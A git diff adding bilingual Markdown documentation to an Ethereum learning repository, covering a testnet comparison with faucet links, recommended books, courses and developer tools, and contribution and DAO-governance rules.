+    at hexlify (/Users/jolycao/Dapp-Learning/basic/05-ethersjs-erc20/node_modules/@ethersproject/bytes/lib/index.js:175:9)
+    at new SigningKey (/Users/jolycao/Dapp-Learning/basic/05-ethersjs-erc20/node_modules/@ethersproject/signing-key/lib/index.js:20:82)
+    at new Wallet (/Users/jolycao/Dapp-Learning/basic/05-ethersjs-erc20/node_modules/@ethersproject/wallet/lib/index.js:123:36)
+    at Object.<anonymous> (/Users/jolycao/Dapp-Learning/basic/05-ethersjs-erc20/index.js:39:14)
+    at Module._compile (internal/modules/cjs/loader.js:1085:14)
+    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1114:10)
+    at Module.load (internal/modules/cjs/loader.js:950:32)
+    at Function.Module._load (internal/modules/cjs/loader.js:790:14)
+    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:76:12)
+```
+
+## **测试币申请 testnet**  
+
+### **以太坊测试网的对比分析**
+
+以太坊的测试网络旨在为开发者提供实验和测试的环境，不同的测试网在共识机制、使用场景、设计目标和资源分配上各有特点。以下是 Rinkeby、Kovan、Ropsten、Goerli、Holesky 和 Sepolia 的详细区别和分析。
+
+#### **1. Rinkeby**
+- **推出时间**：2017 年
+- **共识机制**：Proof of Authority (POA)
+- **特点**：
+  - 依赖于指定验证者运行节点，具有更高的交易确认速度。
+  - 网络稳定，但去中心化程度低。
+  - 适用于开发者需要快速测试的场景。
+- **现状**：已逐步停用，不再推荐新项目使用。
+
+
+
+#### **2. Kovan**
+- **推出时间**：2017 年
+- **共识机制**：Proof of Authority (POA)
+- **特点**：
+  - 由 Parity 技术团队创建，支持快速同步和稳定性能。
+  - 运行的节点必须经过许可，因此参与者有限。
+  - 适用于权限链和专属开发环境。
+- **现状**：已停用，开发者逐渐迁移到其他网络。
+
+
+
+#### **3. Ropsten**
+- **推出时间**：2016 年
+- **共识机制**：
+  - 初期：Proof of Work (POW)
+  - 后期：转为 Proof of Stake (POS)，模拟以太坊主网过渡。
+- **特点**：
+  - 是最接近主网的测试网，支持主网功能测试和合约部署。
+  - 支持挖矿获取测试币，具有一定的去中心化特性。
+  - 运行成本较高，且 POW 机制带来较慢的同步速度。
+- **现状**：2022 年底已停用。
+
+
+
+#### **4. Goerli**
+- **推出时间**：2019 年
+- **共识机制**：Proof of Authority (POA)，后转为 Proof of Stake (POS)
+- **特点**：
+  - 多客户端支持，兼容性强，适合作为跨客户端的开发环境。
+  - 测试币（GoETH）供应有限，开发者需通过水龙头或请求获取，可能成为瓶颈。
+  - 被广泛用于智能合约测试和验证。
+- **现状**：已停用。
+
+
+
+#### **5. Holesky**
+- **推出时间**：2023 年
+- **共识机制**：Proof of Stake (POS)
+- **特点**：
+  - 专为以太坊质押和协议升级测试设计，具有较高的性能。
+  - 提供大量测试币，弥补 Goerli 测试币不足的问题。
+  - 适合开发者和验证者的复杂测试需求。
+- **现状**：是 Goerli 的潜在替代网络，目标是承载更广泛的生态需求。
+
+
+
+#### **6. Sepolia**
+- **推出时间**：2021 年 10 月
+- **共识机制**：初期为 Proof of Work (POW)，后转为 Proof of Stake (POS)
+- **特点**：
+  - 专为开发者设计，作为智能合约和去中心化应用 (dApp) 的精准测试环境。
+  - 配备快速同步机制，验证者组采用许可模式，保证高效运行。
+  - 无限测试币（SepETH）供应，无需担心测试币短缺问题，解决了 Goerli 的主要缺点。
+  - 是以太坊未来的主要开发测试网络。
+- **现状**：被视为开发者最优选的测试网络之一。
+
+
+### **对比总结**
+
+| 测试网   | 共识机制         | 测试币获取          | 特点                                   | 现状             | 
+|----------|------------------|---------------------|----------------------------------------|------------------|
+| **Rinkeby** | POA              | 免费水龙头          | 快速但去中心化低                       | 已停用           |
+| **Kovan**   | POA              | 免费水龙头          | 性能稳定，需许可运行                   | 已停用           |
+| **Ropsten** | POW → POS       | 可挖矿或水龙头      | 接近主网，支持全面测试                 | 已停用           |
+| **Goerli**  | POA → POS       | 有限（需请求获取）   | 跨客户端兼容性强，但测试币有限         | 已停用        |
+| **Holesky** | POS              | 无限测试币          | 面向复杂协议测试，资源丰富             | 新兴网络，潜力大 |
+| **Sepolia** | POW → POS       | 无限测试币          | 高效，精准，为开发者优化               | 推荐使用         |
+
+#### **Holesky领水地址**  
+- [Stakely Faucet](https://stakely.io/faucet/ethereum-holesky-testnet-eth)  
+- [QuickNode Faucet](https://faucet.quicknode.com/ethereum/holesky)  
+- [PK910 Faucet](https://holesky-faucet.pk910.de/)  
+
+#### **Sepolia领水地址**  
+- [QuickNode Faucet](https://faucet.quicknode.com/base/sepolia)  
+- [Alchemy Faucet](https://www.alchemy.com/faucets/base-sepolia)  
+
+
diff --git a/docs/basic-knowledge-en.md b/docs/basic-knowledge-en.md
new file mode 100644
index 000000000..f68136b1f
--- /dev/null
+++ b/docs/basic-knowledge-en.md
@@ -0,0 +1,25 @@
+### Basic Knowledge Preparation
+
+- Read [《Master Ethereum》](https://github.com/inoutcode/ethereum_book) to understand the fundamental principles of **Ethereum**.
+- Read the [Solidity official documentation](https://docs.soliditylang.org/) to familiarize yourself with the **Solidity** smart contract language.
+
+### Recommended Resources
+1. **Ethereum Principles**
+   - [Ethereum Principle Book](https://ethbook.abyteahead.com/howto.html) 【note: Chapter 5 on Geth commands and Genesis block creation is outdated and may cause errors】
+   - [Ethereum Yellow Paper](https://github.com/ethereum/yellowpaper)
+2. **Solidity Learning**
+   - [Version 0.4 Tutorial](https://www.bilibili.com/video/BV1St411a7Pk?p=1)
+   - [Version 0.8 Tutorial](https://www.bilibili.com/medialist/play/286084162?from=space&business=space_collection&business_id=296410&desc=0)
+   - [Learning Solidity While Playing - CryptoZombies](https://cryptozombies.io/zh/course)
+   - [Solidity by Example](https://solidity-by-example.org/)
+   - [Solidity Ethernaut](https://ethernaut.openzeppelin.com/)
+   - [Solidity Training Program](https://www.notion.so/Solidity-Training-Project-d1e2793ddd4a403c87e7dfe5ca1cbfc7)
+3. **Advanced Topics (Rust as a Complementary Skill)**
+   - [Rust Quick Learning](https://course.rs/about-book.html)
+   - [Deep Dive into Rust](https://medium.com/vafion/a-deep-dive-into-rust-the-fastest-growing-programming-language-74fb4fd9aa07)
+4. **Interactive Tools**
+   - [Learn Eth Plugin for Remix](https://remix-learneth-plugin.readthedocs.io/en/latest/index.html)
+
+### Additional Notes
+- These resources provide a comprehensive foundation for understanding Ethereum and Solidity. Practical experience through tools like CryptoZombies and Ethernaut is highly recommended for beginners and developers looking to improve their skills.
+- Rust, as a supplementary language, is valuable for developers aiming to dive deeper into blockchain development.
\ No newline at end of file
diff --git a/docs/basic-knowledge.md b/docs/basic-knowledge.md
new file mode 100644
index 000000000..eff2bc8c9
--- /dev/null
+++ b/docs/basic-knowledge.md
@@ -0,0 +1,27 @@
+中文 / [English](./basic-knowledge-en.md)
+
+### 基础知识预备
+- 阅读[《精通以太坊》](https://github.com/inoutcode/ethereum_book) 理解 **以太坊** 的基本原理。
+- 阅读 [Solidity官方文档](https://docs.soliditylang.org/) 熟悉 **Solidity** 智能合约语言。
+
+### 推荐资源
+1. **以太坊原理**
+   - [以太坊原理书](https://ethbook.abyteahead.com/howto.html) 【note: 第五章关于Geth的命令和创世块的创建放在现在已经过时，会引起报错】
+   - [以太坊黄皮书](https://github.com/ethereum/yellowpaper)
+2. **Solidity学习**
+   - [版本0.4教程](https://www.bilibili.com/video/BV1St411a7Pk?p=1)
+   - [版本0.8教程](https://www.bilibili.com/medialist/play/286084162?from=space&business=space_collection&business_id=296410&desc=0)
+   - [边玩边学Solidity - CryptoZombies](https://cryptozombies.io/zh/course)
+   - [Solidity by Example](https://solidity-by-example.org/)
+   - [Solidity ethernaut](https://ethernaut.openzeppelin.com/)
+   - [Solidity 训练计划](https://www.notion.so/Solidity-Training-Project-d1e2793ddd4a403c87e7dfe5ca1cbfc7)
+3. **进阶主题（Rust作为补充技能）**
+   - [Rust 快学](https://course.rs/about-book.html )
+   - [深入了解Rust](https://medium.com/vafion/a-deep-dive-into-rust-the-fastest-growing-programming-language-74fb4fd9aa07)
+4. **互动工具**
+   - [Remix中的Learn Eth插件](https://remix-learneth-plugin.readthedocs.io/en/latest/index.html)
+
+### 额外说明
+- 这些资源为理解以太坊和Solidity提供了全面的基础。通过CryptoZombies和Ethernaut等工具进行实际操作，是初学者和开发者提升技能的有效方式。
+- Rust作为补充语言，对于有意深入区块链开发的开发者而言，具有重要价值。
+
diff --git a/docs/books-en.md b/docs/books-en.md
new file mode 100644
index 000000000..e026dd4ca
--- /dev/null
+++ b/docs/books-en.md
@@ -0,0 +1,42 @@
+## Book Recommendation   
+The document contains all kinds of classic books, including but not limited to "humanities", "economics", "social science", etc.
+ 
+- [《The fiscal code of the central Empire》](https://book.douban.com/subject/27007549/)
+- [《Code punk--Freedom and the future of the Internet》](https://book.douban.com/subject/27054249/)
+- [《Mastering Bitcoin》](https://github.com/inoutcode/bitcoin_book_2nd)
+- [《The future of money》](https://book.douban.com/subject/35178904/)
+- [《Successes and Losses of Economic Changes in History"》](https://book.douban.com/subject/24851460/)
+- [《War and State Formation: A Comparison between the Spring and Autumn Period and the Warring States Period and Early Modern Europe》](https://www.amazon.com/State-Formation-Ancient-Modern-Europe/dp/0521525764)
+- [《The Fourth Turn》](https://www.amazon.com/Fourth-Turning-American-Prophecy-Rendezvous/dp/0767900464)
+- [《Amusing Ourselves to Death》](https://book.douban.com/subject/1062193/)
+- [《"Smart Investor"》](https://book.douban.com/subject/5243775/)
+- [《Robert's Rules of Order Newly Revised, 12th edition》](https://www.amazon.com/Roberts-Rules-Order-Newly-Revised/dp/1541736699)
+
+## Article recommendation 
+
+- [ Nick Szabo: Currency, Blockchain and Social Scalability](https://www.btcstudy.org/2021/10/27/money-blockchains-and-social-scalability-echo-edition/)
+- [ Cyberspace Declaration of Independence](https://mp.weixin.qq.com/s/wfn9JXiP-XtWWE7AdHiR9A)
+- [ Looking at the Web3 labor market from the on-chain reputation system](https://www.chainnews.com/articles/558872655992.htm) 
+- [ Web3 Stack - Multicoin](https://multicoin.capital/2018/07/10/the-web3-stack/) 
+- [ Web3 Stack - Multicoin](https://multicoin.capital/2019/12/13/the-web3-stack-2019-edition/) 
+- [ Zhang Shousheng: How did the blockchain world come to be?](https://mp.weixin.qq.com/s/txbZp8mzBpJz9F1D2tVdBQ)
+- [ Wu Jihan: The Beauty of Computing Power](https://mp.weixin.qq.com/s/n51_E2ZFqB_pjfZxKcE-9A)
+- [ V God published 2020 year-end summary, thinking about the operation mode of the new world](https://mp.weixin.qq.com/s/gVEgIMmar1T1LmK-U18tDw)
+- [ The dark side of the open source community"》](https://mp.weixin.qq.com/s/2kYb93_V3TMdgKFAV3HG4Q)
+- [ Build a welcoming community"》](https://opensource.guide/zh-hans/building-community/)
+- [ Corporate form: From brick-and-mortar bureaucracy to algorithmic trust](https://mirror.xyz/0xf67Bd51BAF48C05A53af61aF66DB86ADd7A825C0/bYzwwnUL3i2gY6ygakX8FJFwcGSm9uNU4JZ_Y9G8zNE)
+
+## English Improvement 
+
+- [ English Magician's Grammar Club ](https://book.douban.com/subject/1014914/)
+- [ Lai Shixiong's beautiful phonetic symbol ](https://book.douban.com/subject/4201317/)
+- [ Whaddaya Say? Guided Practice in Relaxed Speech, Second Edition ](https://book.douban.com/subject/2401342/)
+
+## Programmer care articles
+
+- [ You are what you eat ](https://book.douban.com/subject/27590675/)
+- [ Panther Fitness ](https://book.douban.com/subject/27171491/)
+- [ Why do we get sick ](https://book.douban.com/subject/30164677/)
+
+
+
diff --git a/docs/books.md b/docs/books.md
new file mode 100644
index 000000000..2823c37ed
--- /dev/null
+++ b/docs/books.md
@@ -0,0 +1,46 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/books-en.md)
+
+## 书籍推荐   
+文档收录各类经典的书籍, 包括但不限于 "人文"、"经济" 、"社科" 等。  
+相关项目：https://github.com/SuperCV/Book  
+ 
+- [《中央帝国的财政密码》](https://book.douban.com/subject/27007549/)
+- [《金融百年--从袁大头到互联网金融》](https://book.douban.com/subject/26937414/?dt_platform=wechat_friends&dt_dapp=1)
+- [《密码朋克--自由与互联网的未来》](https://book.douban.com/subject/27054249/)   
+- [《精通比特币》](https://github.com/inoutcode/bitcoin_book_2nd)
+- [《货币未来》](https://book.douban.com/subject/35178904/)
+- [战争与国家形成：春秋战国与近代早期欧洲之比较](https://book.douban.com/tag/%E8%AE%B8%E7%94%B0%E6%B3%A2)
+- [《第四次转折》](http://m.ishare.iask.sina.com.cn/f/9679610.html)
+- [《致命的自负》](https://book.douban.com/subject/1070007/)
+- [《娱乐至死》](https://book.douban.com/subject/1062193/)
+- [《聪明的投资者》](https://book.douban.com/subject/5243775/)
+- [《罗伯特议事规则（第11版）》](https://book.douban.com/subject/26651699/)
+- [软件定义战争](https://www.secrss.com/articles/47280)
+- [《历代经济变革得失》](https://book.douban.com/subject/24851460/)
+- [《乌合之众》](https://book.douban.com/subject/6966569/)
+
+
+## 文章推荐
+- [Nick Szabo：货币，区块链与社会可扩展性](https://www.btcstudy.org/2021/10/27/money-blockchains-and-social-scalability-echo-edition/) 
+- [赛博空间独立宣言](https://mp.weixin.qq.com/s/wfn9JXiP-XtWWE7AdHiR9A) 
+- [从链上声誉体系看Web3劳动力市场](https://www.chainnews.com/articles/558872655992.htm)
+- [Web3堆栈-Multicoin](https://multicoin.capital/2018/07/10/the-web3-stack/)
+- [Web3堆栈2019年版-MultiCoin](https://multicoin.capital/2019/12/13/the-web3-stack-2019-edition/)
+- [张首晟：区块链世界到底是如何形成的](https://mp.weixin.qq.com/s/txbZp8mzBpJz9F1D2tVdBQ)
+- [吴忌寒：算力之美](https://mp.weixin.qq.com/s/n51_E2ZFqB_pjfZxKcE-9A)
+- [V神发表2020年终总结，思考新世界的运转模式](https://mp.weixin.qq.com/s/gVEgIMmar1T1LmK-U18tDw)
+- [开源社区的暗面](https://mp.weixin.qq.com/s/2kYb93_V3TMdgKFAV3HG4Q)
+- [打造受欢迎的社区](https://opensource.guide/zh-hans/building-community/)
+- [公司形式：从实体官僚到算法信任](https://mirror.xyz/0xf67Bd51BAF48C05A53af61aF66DB86ADd7A825C0/bYzwwnUL3i2gY6ygakX8FJFwcGSm9uNU4JZ_Y9G8zNE)
+
+- [a16z Crypto的人都在读什么书](https://www.theblockbeats.info/news/54039)
+## 英语提高篇
+- [《英语魔法师之语法俱乐部》](https://book.douban.com/subject/1014914/)
+- [《赖世雄美语音标》](https://book.douban.com/subject/4201317/)
+- [《Whaddaya Say? Guided Practice in Relaxed Speech, Second Edition》](https://book.douban.com/subject/2401342/)
+
+## 程序员关爱篇
+- [《你是你吃出来的》](https://book.douban.com/subject/27590675/)
+- [《豹式健身》](https://book.douban.com/subject/27171491/)
+- [《我们为什么会生病》](https://book.douban.com/subject/30164677/)
+
diff --git a/docs/crypto-course-en.md b/docs/crypto-course-en.md
new file mode 100644
index 000000000..d1693f292
--- /dev/null
+++ b/docs/crypto-course-en.md
@@ -0,0 +1,12 @@
+**Ethereum community cryptography course**
+- [Cryptoeconomics - A free, open-source course on the fundamentals of Blockchain protocols](http://cryptoeconomics.study/).
+
+**DEFI Open Course**
+- [Decentralized Finance](https://defi-learning.org/).
+
+**Solidity Course**
+- [CryptoZombies](https://cryptozombies.io/)
+
+**Domestic blockchain open course**
+- [Xiao Zhen, Peking University： Public class about 《Blockchain technology and application》](https://www.bilibili.com/video/BV1Vt411X7JF)  
+- [Ethereum core technology course](https://study.163.com/course/courseLearn.htm?courseId=1209599851#/learn/video?lessonId=1280010943&courseId=1209599851)  
\ No newline at end of file
diff --git a/docs/crypto-course.md b/docs/crypto-course.md
new file mode 100644
index 000000000..ef21ff641
--- /dev/null
+++ b/docs/crypto-course.md
@@ -0,0 +1,14 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/crypto-course-en.md)
+
+**以太坊社区加密课程**
+- [Cryptoeconomics - A free, open-source course on the fundamentals of Blockchain protocols](http://cryptoeconomics.study/)
+
+**去中心化金融开源课程**
+- [Decentralized Finance MOOC](https://defi-learning.org/)
+
+**Solidity学习课程**
+- [CryptoZombies](https://cryptozombies.io/)
+
+**国内区块链公开课**
+- [北京大学肖臻：《区块链技术与应用》公开课](https://www.bilibili.com/video/BV1Vt411X7JF)  
+- [以太坊核心技术课程](https://www.bilibili.com/video/BV1NJ411D7rf?from=search&seid=14175028063330126069)  
\ No newline at end of file
diff --git a/docs/dao-en.md b/docs/dao-en.md
new file mode 100644
index 000000000..0dc098f73
--- /dev/null
+++ b/docs/dao-en.md
@@ -0,0 +1,57 @@
+## How to participate in
+
+- **Submit a PR or follow account 「Rebase Community」 and contribute a tech share, then add the maintainer WeChat (ID: Yanyanho126) to apply to join the group, or contact Harry directly (WeChat ID: LJYXZJ) to join the developer group**
+  - [Submit a PR text tutorial](https://github.com/BNineCoding/Dapp-Learning/blob/main/docs/Create_DApp-Learning_PR_Tutorial-en.md)
+  - [Submit a PR video tutorial](https://www.bilibili.com/video/BV1Bq4y1r7dx?spm_id_from=333.999.0.0)
+- Friends who share in the Rebase community can directly apply to join the group
+- Using the market development method, anyone can submit PR, **Modify only one reference link or document to join the group**, There is no need to complete the task 100% before submitting, Developers work together to help improve the project, You can add links and documentation here [Dapp-Learning-Arsenal](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal)
+- For each project readme, please be sure to add the directory of reference links and attach the relevant references of the task
+- solidity Version 0.6 or later is recommended
+- The test cases under the script directory can be successfully debugged on the Goerli network (recommended), and the test cases under the test directory can be successfully debugged even on the local node
+  **A fledgling project，There are four ways to cut into learning：**
+
+1. You can optimize the previous project code and readme
+2. You can claim the unfinished task card (The links below are all unfinished quest cards, For the completed task card, please put the reference link under the corresponding project readme)
+3. Feel free to add task cards (attach reference link)
+4. Advanced projects (DeFi，DAO，NFT，CRYPTO) can initiate development initiatives in groups and study together in groups
+
+In the developer group, I can have close communication with developers and participate in the Dapp research group to study DEFI, DAO, and other projects together.
+
+## Group learning
+
+Advanced tasks, such as DeFi, Dao, and NFT project research, adopt group learning mode and have the following requirements.
+
+1.  Developers who submit more than one PR can participate in the group study;
+2.  In principle, the subtask research of the team shall not exceed 3 people, and the team members shall have a clear division of labor and supervise each other;
+3.  Front end and graph are optional, White papers and smart contracts are mandatory;
+4.  In principle, it needs to be shared once a week, which can be postponed once.
+
+Study in groups and show results (reference)：  
+ White paper/contract/front-end/GRAPH: Deployment, documentation and Rebase video sharing
+
+## The DAO organization manages the project
+
+1. If you have participated in PR(or tech sharing) once or more, you can join the developer group;
+2. After submitting 3 copies of high-quality PR (or participating in 3 tasks), you can join the PR audit team and or obtain the authority to audit PR
+3. PR reviewers can initiate study groups;
+4. The PR reviewer can initiate a proposal, decide the project development plan, and obtain the consent of most PR reviewers to pass the proposal;
+5. A PR reviewer must do a PR at least once within two weeks, otherwise remove the PR reviewer permission, demote to the normal developer, and re-join with PR;
+6. In principle, weekly developer networking meetings.
+
+## Available PR Title Types
+
+Ensuring the title follows a specific format helps us manage and review code more effectively, please refer to the available types below:
+
+- **feat**: A new feature
+- **fix**: A bug fix
+- **docs**: Documentation-only changes
+- **style**: Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc.)
+- **refactor**: A code change that neither fixes a bug nor adds a feature
+- **perf**: A code change that improves performance
+- **test**: Adding missing tests or correcting existing tests
+- **build**: Changes that affect the build system or external dependencies (example scopes: gulp, broccoli, npm)
+- **ci**: Changes to our CI configuration files and scripts (example scopes: Travis, Circle, BrowserStack, SauceLabs)
+- **chore**: Other changes that don't modify src or test files
+- **revert**: Reverts a previous commit
+
+Ensuring that your PR title is correctly formatted will help facilitate a smoother review process and avoid potential lint failures. Thank you for your cooperation and contributions!
diff --git a/docs/dao.md b/docs/dao.md
new file mode 100644
index 000000000..f8bfcab34
--- /dev/null
+++ b/docs/dao.md
@@ -0,0 +1,65 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/dao-en.md)
+
+## 如何参与
+
+- 欢迎加入我们discord: https://discord.gg/ztpc6p2yAT
+- 提交三次PR 或 安排贡献一次技术分享即可加入开发群，然后添加Maintainer微信yanyanho126申请入群。
+
+  - [提交PR文字教程](https://github.com/BNineCoding/Dapp-Learning/blob/main/docs/Create_DApp-Learning_PR_Tutorial.md)
+  - [提交PR视频教程](https://www.bilibili.com/video/BV1Bq4y1r7dx?spm_id_from=333.999.0.0)
+  - [Dapp-Learning分享时间安排](https://docs.qq.com/doc/DQ3hWeVVXQ3JPbXFS)
+
+- 采用集市开发方式，任何人都可以提交PR，**一个参考链接，一个文档修改**均可，无须task完成100%再提交，开发者会一起帮忙完善项目, 可在此添加链接和文档[Dapp-Learning-Arsenal](https://github.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal)
+- 每个项目readme请务必加上参考链接这一目录，附上任务的相关参考资料
+- solidity 建议0.6以上版本
+- script脚本目录下测试案例保证能在Goerli网(建议)调试成功，test目录下测试案例连本地节点调试成功
+
+**刚入手项目，可以有四种方式切入：**
+
+1. 可以优化之前的项目代码和readme
+2. 可以认领未完成任务卡（下方有链接的都是未完成任务卡，完成的任务卡请将参考链接放入对应项目readme下）
+3. 可以自由新增任务卡（需附上参考链接）
+4. 进阶项目（DEFI，DAO，NFT，CRYPTO）可以在群里发起开发倡议，小组一起研究
+
+在开发者群里可以跟开发者近距离交流以及参与Dapp研究小组，一起研究DEFI，DAO等项目。
+
+## 小组学习
+
+进阶任务如defi，dao, nft项目研究，采用小组学习模式，有以下要求。
+
+1.  提交3次PR以上的开发者方可参与小组学习；
+2.  原则上小组的子任务研究不超过3个人，小组组员需分工明确，互相督促；
+3.  前端和graph可选项， 白皮书和智能合约是必选项；
+4.  分享时间原则上一周一次分享，可延期一次。
+
+小组学习输出成果（参考）：  
+ 白皮书/合约/前端/graph： 部署，文档和rebase视频分享
+
+## DAO组织管理项目
+
+1. 项目有交流群和开发群，开发群严格控制120人数上限。
+2. 贡献过3次PR（或技术分享）以上可以进入开发者群；
+3. 贡献过多次高质量PR（或参与3个task的完成）即可给予PR审核者的权限，进入PR审核者群；
+4. PR审核者可以发起提案，决定项目发展规划，获取多数PR审核者同意即可通过提案；
+5. PR审核者须两周内至少完成一次PR，否则移除PR审核者权限，降为普通开发者，可以提PR重新加入；
+6. 原则上一周一次开发者沟通会议。
+
+以下是经过调整后的内容，加入了背景信息以弱化 PR title lint 的强调，并说明其目的：
+
+## PR 标题可用类型
+
+确保标题符合特定格式可以帮助我们更好地管理和审核代码，请参考以下可用类型：
+
+- **feat**: 新功能
+- **fix**: 修复 bug
+- **docs**: 仅文档更改
+- **style**: 不影响代码含义的更改（如空格、格式、缺少分号等）
+- **refactor**: 不修复 bug 也不添加新功能的代码更改
+- **perf**: 改进性能的代码更改
+- **test**: 添加缺失的测试或修正现有测试
+- **build**: 影响构建系统或外部依赖的更改（例如：gulp, broccoli, npm）
+- **ci**: 对 CI 配置文件和脚本的更改（例如：Travis, Circle, BrowserStack, SauceLabs）
+- **chore**: 其他不修改 src 或测试文件的更改
+- **revert**: 撤销之前的提交
+
+确保 PR 标题格式正确将有助于顺利通过检查并加快审核过程。感谢你的配合与贡献！
diff --git a/docs/dapp-demo-en.md b/docs/dapp-demo-en.md
new file mode 100644
index 000000000..756e26e2e
--- /dev/null
+++ b/docs/dapp-demo-en.md
@@ -0,0 +1,11 @@
+## Expected practical demonstration project:  
+| Project |    Point person |
+| :----:|  :----: |
+| dydx | yan |
+| perpetual | yan |
+| opyn |  |
+| euler |  |
+| volmex |  |
+| visor |  |
+
+
diff --git a/docs/dapp-demo.md b/docs/dapp-demo.md
new file mode 100644
index 000000000..ee02a3900
--- /dev/null
+++ b/docs/dapp-demo.md
@@ -0,0 +1,13 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/dapp-demo-en.md)
+
+## 期望实操演示项目:  
+| 项目 |    认领人 |
+| :----:|  :----: |
+| dydx | yan |
+| perpetual | yan |
+| opyn |  |
+| euler |  |
+| volmex |  |
+| visor |  |
+
+
diff --git a/docs/develop-tools-en.md b/docs/develop-tools-en.md
new file mode 100644
index 000000000..27798f329
--- /dev/null
+++ b/docs/develop-tools-en.md
@@ -0,0 +1,33 @@
+## Recommended Developer Tools
+
+- **Cookbook (free smart contracts)**: <https://www.cookbook.dev>  
+- **Ethereum Development Tools Summary**: <https://learnblockchain.cn/article/2006>  
+- **MetaMask (Browser Wallet Extension)**: <https://www.jianshu.com/p/b5b2c05e9090>  
+- **Hardhat**: A development environment for professionals building on Ethereum <https://hardhat.org/>  
+- **solidity-framework**: A scaffold for quickly installing and configuring Hardhat and Foundry with built-in basic scripts <https://github.com/VegieDoggie/solidity-framework>  
+- **Waffle**: One of the most advanced testing frameworks for smart contracts <https://getwaffle.io/>  
+- **Foundry**: A blazing-fast, portable, and modular toolkit for Ethereum development written in Rust <https://book.getfoundry.sh/>  
+- **Scaffold-eth (ETH + Hardhat + React)**: A commonly used framework for building decentralized applications powered by smart contracts <https://github.com/scaffold-eth/scaffold-eth>  
+- **Infura (Node Service)**: <https://infura.io/>  
+- **Alchemy (Node Service)**: <https://dashboard.alchemyapi.io/>  
+- **Ethereum Node Service List**: <https://ethereumnodes.com/>  
+- **Ethereum Blockchain Explorer**: <https://kovan.etherscan.io>  
+- **JSON-RPC Interface**: <https://eth.wiki/json-rpc/API>  
+- **Tenderly Contract Verification**: <https://dashboard.tenderly.co/explorer>  
+- **EthTx (Transaction Analysis Tool)**: <https://ethtx.info>  
+- **Remix (Local Environment)**: <https://zhuanlan.zhihu.com/p/38309494>  
+- **Remix Online IDE**: <https://remix.ethereum.org/> Remix Chinese Mirror: <http://remix.zhiguxingtu.com/>  
+- **Code Beautification Tool**: <https://www.cnblogs.com/kuronekonano/p/11794302.html>  
+- **Ethereum-Compatible Chain Networks (easily add to MetaMask)**: <https://chainlist.org/>  
+- **Layer 2 Ecosystem Project Tracker**: <https://l2beat.com/>  
+- **Ethereum Virtual Machine (EVM) Instruction Handbook**: <https://ethervm.io/>  
+- **Web3.js**: A JavaScript library for interacting with Ethereum, a core tool for DApp development <https://github.com/web3/web3.js>  
+- **ethers.js**: A lightweight and modular JavaScript library for interacting with Ethereum <https://docs.ethers.org/>  
+- **Truffle Suite**: A complete Ethereum development framework that supports compilation, deployment, and testing <https://trufflesuite.com/>  
+- **Ganache**: A tool for quickly setting up a local Ethereum development environment, ideal for debugging and testing <https://trufflesuite.com/ganache/>  
+- **OpenZeppelin**: A library and toolkit for smart contract development with built-in secure contract templates <https://openzeppelin.com/>  
+- **MyCrypto**: An open-source wallet management tool for handling Ethereum addresses <https://mycrypto.com/>  
+- **Blocknative**: Provides transaction notifications, wallet SDKs, and gas optimization tools <https://www.blocknative.com/>  
+- **Flashbots**: A tool to enhance transaction transparency and reduce MEV (Miner Extractable Value) impact <https://flashbots.net/>  
+- **Dune Analytics**: A platform for visualizing and analyzing blockchain data <https://dune.com/>  
+- **The Graph**: A decentralized data indexing protocol for quickly querying on-chain data for DApps <https://thegraph.com/>  
diff --git a/docs/develop-tools.md b/docs/develop-tools.md
new file mode 100644
index 000000000..b240c7339
--- /dev/null
+++ b/docs/develop-tools.md
@@ -0,0 +1,36 @@
+中文 / [English](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/develop-tools-en.md)
+
+## 开发工具推荐
+
+- **Cookbook (free smart contracts)**: <https://www.cookbook.dev>  
+- **以太坊开发工具汇总**: <https://learnblockchain.cn/article/2006>  
+- **MetaMask（浏览器钱包插件）**: <https://www.jianshu.com/p/b5b2c05e9090>  
+- **Hardhat（安全帽）**: 针对专业人员的以太坊开发环境 <https://hardhat.org/>  
+- **solidity-framework**: 快速安装和配置 Hardhat 和 Foundry 的脚手架，内置基础脚本等 <https://github.com/VegieDoggie/solidity-framework>  
+- **Waffle**: 智能合约最先进的测试框架之一 <https://getwaffle.io/>  
+- **Foundry**: 用 Rust 编写的极快、可移植和模块化的以太坊应用开发工具包 <https://book.getfoundry.sh/>  
+- **Scaffold-eth (ETH + Hardhat + React)**: 构建由智能合约驱动的去中心化应用程序所需的常用框架 <https://github.com/scaffold-eth/scaffold-eth>  
+- **Infura（节点服务）**: <https://infura.io/>  
+- **Alchemy（节点服务）**: <https://dashboard.alchemyapi.io/>  
+- **以太节点服务列表**: <https://ethereumnodes.com/>  
+- **以太坊区块链浏览器**: <https://kovan.etherscan.io>  
+- **JSON-PRC接口**: <https://eth.wiki/json-rpc/API>  
+- **Tenderly 合约验证**: <https://dashboard.tenderly.co/explorer>  
+- **EthTx 交易分析工具**: <https://ethtx.info>  
+- **Remix（本地环境）**: <https://zhuanlan.zhihu.com/p/38309494>  
+- **Remix 在线 IDE**: <https://remix.ethereum.org/> Remix 中文镜像: <http://remix.zhiguxingtu.com/>  
+- **代码美化工具**: <https://www.cnblogs.com/kuronekonano/p/11794302.html>  
+- **以太兼容链网络列表（可方便添加到 MetaMask）**: <https://chainlist.org/>  
+- **Layer2 生态项目发展状态跟踪**: <https://l2beat.com/>  
+- **以太虚拟机指令手册**: <https://ethervm.io/>  
+- **Web3.js**: 以太坊交互的 JavaScript 库，用于开发 DApp 的核心工具 <https://github.com/web3/web3.js>  
+- **ethers.js**: 精简、模块化的以太坊 JavaScript 库，适合与智能合约交互 <https://docs.ethers.org/>  
+- **Truffle Suite**: 完整的以太坊开发框架，支持编译、部署、测试 <https://trufflesuite.com/>  
+- **Ganache**: 快速搭建以太坊本地开发环境的工具，适合调试和测试 <https://trufflesuite.com/ganache/>  
+- **OpenZeppelin**: 智能合约库和开发工具，内置常用安全合约模板 <https://openzeppelin.com/>  
